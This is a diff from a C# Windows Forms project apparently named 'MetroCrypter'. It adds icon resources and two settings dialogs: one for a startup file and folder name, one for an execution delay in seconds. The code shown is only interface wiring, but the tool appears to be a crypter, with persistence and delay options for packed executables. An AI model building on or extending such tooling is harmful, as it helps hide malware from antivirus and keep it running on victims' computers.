<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="button4.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAUFJREFUWEft
lz1OQlEUhJ9SkZBgaVwIIYaO0p+aTRhYhloYExrcgiuwcAOuwAVoLyWawGHmnSl8L4+8H8AQc75kkjuH
O3MPHSRB8FeY2SX0XKALXdkdKB1Atxv0CH1DRXDOz4ty1EBPVAehCVTGG/T7IfoyJnqiOggNodc0bvYF
PeX0AHV0PYVe8/xd5gn7hrpeDwRHaYXZu0aNYN5rbKRRfRj2jlgmC8PecaDL4DyHFlBPfio/le/Jz+kJ
zntbhg+RvvzMrc3k+25tQU9wjmViGRLLkFgmA8PeEctkYdg7DneZLnQCteTb8m35lnyXnuC8n2WawLzX
/KNlrr3DPqAjjWuB3DH0yRJwpXF9ED6DftIasxco/0O7ipgj/AtzqupmoGAMrdi2BUvoRpXbgSL+obuH
ir55me6gc1UFwQ5JkjXQL1AL33kvsAAAAABJRU5ErkJggg==
</value>
</data>
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
<data name="button2.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAcxJREFUWEft
lzsvBGEUhpdIXKNhSxGFjmR/gUKrET9ASSGi0ahpEM3+AoSEhqhlE9UWrhGdQoK4xF1EIojxnu97v9jN
zOz1+0YzT/I058y85+zsZnYmERNTCZ7ndcFleAd/YBBf8ALOw1aeahcEd8JbWA67sJER9kDomoovn0lG
2AOhLzq7bDKMsAeDK+EbPpXoDdyDY7CGo/2gGTVLHO2HB0RNH8fnw2bUzHF8PmxGidyvXqH8lu7hDhz5
r2XCmCp1GfkUx3DfskfwHQpnpSyThk3qMjoA2SdqCv5qii2TheH3hSpBdkpN0awXW2aY5zkB+XLVDQOF
lnmDzTzPOsiuhw8yCMgduq7QMos8zwnIH9RjFAumGEa/OsARyN/UYxQ9phjEOaxVBzgA2Un4KYPAIcuh
y8yw7QTkj+sxigmWA5eRx85utp2AfHmcEOTqJFkOXCbLlhOQ36vHKLZY1rCYyyhbTkD+rB6jGGJZw6Lh
A7axZR1ky73lUgYB+b9rYEuDQu6bwQbL1kF2C1xVUzRptv5AUd4OzLvSFdx2YAaau60gF8D/DaDYAZ/l
iIi4himO94OmvFGuwFNonuht+ggP4DRs59iYmCpJJH4Bdu+39NSq4rgAAAAASUVORK5CYII=
</value>
</data>
<data name="button3.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAc1JREFUWEft
l71KxEAUhVXQBUV3BZ9h7bTQyvcQK1F8AwuxEDsRX0DBQreyWRsbC/+7FVFBS5EFGytBsLSQeM7MTQxh
MkkmIUHYD75m5t47hxA2O309ehSB53ljcBUewXZBLsr49KCpAbvQxCd8yCDrfX7gihyTDjSsqVYzbSlL
Bet1WwADLct2Mig+UG1mYsNgrwZPxUNZi4YhDLSkmpJAYUu1mLGFGdElijdZM4UhDLSgGm2gqIwwpKUa
bbBI1xr5N2H4zhyLu7JWTRgTrNdtRnKH+Yb87Ugr6+PIHaZIemHicA5zBjfguoPsO4dRnMK8wH7ZdgL9
A/CVw0I4hbmRrVxwjh4XUGmYSz0uoNIwTfiuJmqqC0MwKxyo3DDo3YQXkJ+FcVnzA5UeJvxteoYTsj4J
t1WRDRQVGSY66x42ZK+mimygKDrgUbYyg17eMjpqyh/BE0oEhab/wDtwPqNNmcc/XdHfmCeYHAhFtttB
Fj7gtMx0C4QC270pKww0JXMZ6JqLIVIF8m+U+wW4BQdlbh3ewjB3cFQdXDY4eBheMYWwB2dgXUrKBQcz
EL9VDDIHv2BHtssHh/MdmpUg5ES2qgEB+G7yCeF64w39AowG+w8E10uzAAAAAElFTkSuQmCC
</value>
</data>
</root>
@@ -0,0 +1,47 @@
namespace MetroCrypter.Forms
{
partial class Startup
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// Startup
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(284, 261);
this.Name = "Startup";
this.Text = "Startup";
this.Load += new System.EventHandler(this.Startup_Load);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,232 @@
using MetroCrypter;
using MetroFramework.Controls;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Resources;
using System.Windows.Forms;
namespace MetroCrypter.Forms
{
public class Startup : Form
{
private Popup pop;
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private IContainer components = null;
private Button button1;
private MetroTextBox Filename;
private MetroTextBox Folder;
private Button button2;
private Button button3;
public Startup()
{
this.InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
if ((string.IsNullOrEmpty(this.Filename.Text) ? false : !string.IsNullOrEmpty(this.Folder.Text)))
{
Form1.CID.Sfilename = this.Filename.Text;
Form1.CID.FolderName = this.Folder.Text;
base.Close();
}
else
{
this.pop = new Popup("Please enter everything");
this.pop.Show();
}
}
private void button3_Click(object sender, EventArgs e)
{
if (!Form1.CID.startupreply)
{
this.button2.Enabled = true;
Form1.CID.startupreply = true;
this.button3.Text = "Enabled";
}
else
{
Form1.CID.startupreply = false;
this.button2.Enabled = false;
this.button3.Text = "Disabled";
}
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Startup));
this.button1 = new Button();
this.Filename = new MetroTextBox();
this.Folder = new MetroTextBox();
this.button2 = new Button();
this.button3 = new Button();
base.SuspendLayout();
this.button1.BackColor = Color.Transparent;
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray;
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(203, 0);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 31);
this.button1.TabIndex = 30;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.Filename.get_CustomButton().set_Image(null);
this.Filename.get_CustomButton().Location = new Point(159, 1);
this.Filename.get_CustomButton().Name = "";
this.Filename.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.Filename.get_CustomButton().set_Style(4);
this.Filename.get_CustomButton().TabIndex = 1;
this.Filename.get_CustomButton().set_Theme(1);
this.Filename.get_CustomButton().set_UseSelectable(true);
this.Filename.get_CustomButton().Visible = false;
this.Filename.set_Lines(new string[0]);
this.Filename.Location = new Point(26, 50);
this.Filename.set_MaxLength(32767);
this.Filename.Name = "Filename";
this.Filename.set_PasswordChar('\0');
this.Filename.set_PromptText("File Name");
this.Filename.set_ScrollBars(ScrollBars.None);
this.Filename.set_SelectedText("");
this.Filename.set_SelectionLength(0);
this.Filename.set_SelectionStart(0);
this.Filename.set_ShortcutsEnabled(true);
this.Filename.Size = new System.Drawing.Size(181, 23);
this.Filename.set_Style(3);
this.Filename.TabIndex = 31;
this.Filename.set_UseSelectable(true);
this.Filename.set_WaterMark("File Name");
this.Filename.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.Filename.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.Folder.get_CustomButton().set_Image(null);
this.Folder.get_CustomButton().Location = new Point(159, 1);
this.Folder.get_CustomButton().Name = "";
this.Folder.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.Folder.get_CustomButton().set_Style(4);
this.Folder.get_CustomButton().TabIndex = 1;
this.Folder.get_CustomButton().set_Theme(1);
this.Folder.get_CustomButton().set_UseSelectable(true);
this.Folder.get_CustomButton().Visible = false;
this.Folder.set_Lines(new string[0]);
this.Folder.Location = new Point(26, 81);
this.Folder.set_MaxLength(32767);
this.Folder.Name = "Folder";
this.Folder.set_PasswordChar('\0');
this.Folder.set_PromptText("Folder Name");
this.Folder.set_ScrollBars(ScrollBars.None);
this.Folder.set_SelectedText("");
this.Folder.set_SelectionLength(0);
this.Folder.set_SelectionStart(0);
this.Folder.set_ShortcutsEnabled(true);
this.Folder.Size = new System.Drawing.Size(181, 23);
this.Folder.set_Style(3);
this.Folder.TabIndex = 32;
this.Folder.set_UseSelectable(true);
this.Folder.set_WaterMark("Folder Name");
this.Folder.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.Folder.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.button2.BackColor = Color.FromArgb(85, 94, 102);
this.button2.Enabled = false;
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.button2.ForeColor = Color.White;
this.button2.Location = new Point(26, 123);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(181, 23);
this.button2.TabIndex = 34;
this.button2.Text = "Apply";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click);
this.button3.BackColor = Color.FromArgb(85, 94, 102);
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatStyle = FlatStyle.Flat;
this.button3.ForeColor = Color.White;
this.button3.Location = new Point(26, 12);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(75, 23);
this.button3.TabIndex = 35;
this.button3.Text = "Disabled";
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new EventHandler(this.button3_Click);
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(34, 36, 39);
base.ClientSize = new System.Drawing.Size(233, 160);
base.ControlBox = false;
base.Controls.Add(this.button3);
base.Controls.Add(this.button2);
base.Controls.Add(this.Folder);
base.Controls.Add(this.Filename);
base.Controls.Add(this.button1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.MaximumSize = new System.Drawing.Size(233, 189);
base.Name = "Startup";
base.ShowIcon = false;
base.ShowInTaskbar = false;
base.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Startup";
base.Load += new EventHandler(this.Startup_Load);
base.ResumeLayout(false);
}
private void Startup_Load(object sender, EventArgs e)
{
this.Filename.Text = Form1.CID.Sfilename;
this.Folder.Text = Form1.CID.FolderName;
if (!Form1.CID.startupreply)
{
this.button3.Text = "Disabled";
}
else
{
this.button2.Enabled = true;
this.button3.Text = "Enabled";
}
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
}
}
@@ -0,0 +1,132 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
</root>
@@ -0,0 +1,47 @@
namespace MetroCrypter.Forms
{
partial class Timer
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// Timer
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(284, 261);
this.Name = "Timer";
this.Text = "Timer";
this.Load += new System.EventHandler(this.Timer_Load);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,195 @@
using MetroCrypter;
using MetroFramework.Controls;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Resources;
using System.Windows.Forms;
namespace MetroCrypter.Forms
{
public class Timer : Form
{
private Popup pop;
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private IContainer components = null;
private Button button1;
private Button button3;
private Button button2;
private MetroTextBox timerr;
public Timer()
{
this.InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(this.timerr.Text))
{
Form1.CID.delay = this.timerr.Text;
base.Close();
}
else
{
this.pop = new Popup("Please enter everything");
this.pop.Show();
}
}
private void button3_Click(object sender, EventArgs e)
{
if (!Form1.CID.tmreply)
{
this.button2.Enabled = true;
Form1.CID.tmreply = true;
this.button3.Text = "Enabled";
}
else
{
Form1.CID.tmreply = false;
this.button2.Enabled = false;
this.button3.Text = "Disabled";
}
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(MetroCrypter.Forms.Timer));
this.button1 = new Button();
this.button3 = new Button();
this.button2 = new Button();
this.timerr = new MetroTextBox();
base.SuspendLayout();
this.button1.BackColor = Color.Transparent;
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray;
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(256, -1);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 31);
this.button1.TabIndex = 30;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.button3.BackColor = Color.FromArgb(85, 94, 102);
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatStyle = FlatStyle.Flat;
this.button3.ForeColor = Color.White;
this.button3.Location = new Point(12, 12);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(75, 23);
this.button3.TabIndex = 37;
this.button3.Text = "Disabled";
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new EventHandler(this.button3_Click);
this.button2.BackColor = Color.FromArgb(85, 94, 102);
this.button2.Enabled = false;
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.button2.ForeColor = Color.White;
this.button2.Location = new Point(94, 110);
this.button2.MaximumSize = new System.Drawing.Size(97, 23);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(97, 23);
this.button2.TabIndex = 36;
this.button2.Text = "Apply";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click);
this.timerr.get_CustomButton().set_Image(null);
this.timerr.get_CustomButton().Location = new Point(159, 1);
this.timerr.get_CustomButton().Name = "";
this.timerr.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.timerr.get_CustomButton().set_Style(4);
this.timerr.get_CustomButton().TabIndex = 1;
this.timerr.get_CustomButton().set_Theme(1);
this.timerr.get_CustomButton().set_UseSelectable(true);
this.timerr.get_CustomButton().Visible = false;
this.timerr.set_Lines(new string[0]);
this.timerr.Location = new Point(52, 64);
this.timerr.set_MaxLength(32767);
this.timerr.Name = "timerr";
this.timerr.set_PasswordChar('\0');
this.timerr.set_ScrollBars(ScrollBars.None);
this.timerr.set_SelectedText("");
this.timerr.set_SelectionLength(0);
this.timerr.set_SelectionStart(0);
this.timerr.set_ShortcutsEnabled(true);
this.timerr.Size = new System.Drawing.Size(181, 23);
this.timerr.set_Style(3);
this.timerr.TabIndex = 38;
this.timerr.set_UseSelectable(true);
this.timerr.set_WaterMark("Delay in seconds");
this.timerr.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.timerr.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(34, 36, 39);
base.ClientSize = new System.Drawing.Size(284, 148);
base.Controls.Add(this.timerr);
base.Controls.Add(this.button3);
base.Controls.Add(this.button2);
base.Controls.Add(this.button1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.MaximumSize = new System.Drawing.Size(284, 148);
base.Name = "Timer";
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Timer";
base.Load += new EventHandler(this.Timer_Load);
base.ResumeLayout(false);
}
private void Timer_Load(object sender, EventArgs e)
{
this.timerr.Text = Form1.CID.delay;
if (!Form1.CID.tmreply)
{
this.button3.Text = "Disabled";
}
else
{
this.button2.Enabled = true;
this.button3.Text = "Enabled";
}
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
}
}
@@ -0,0 +1,132 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
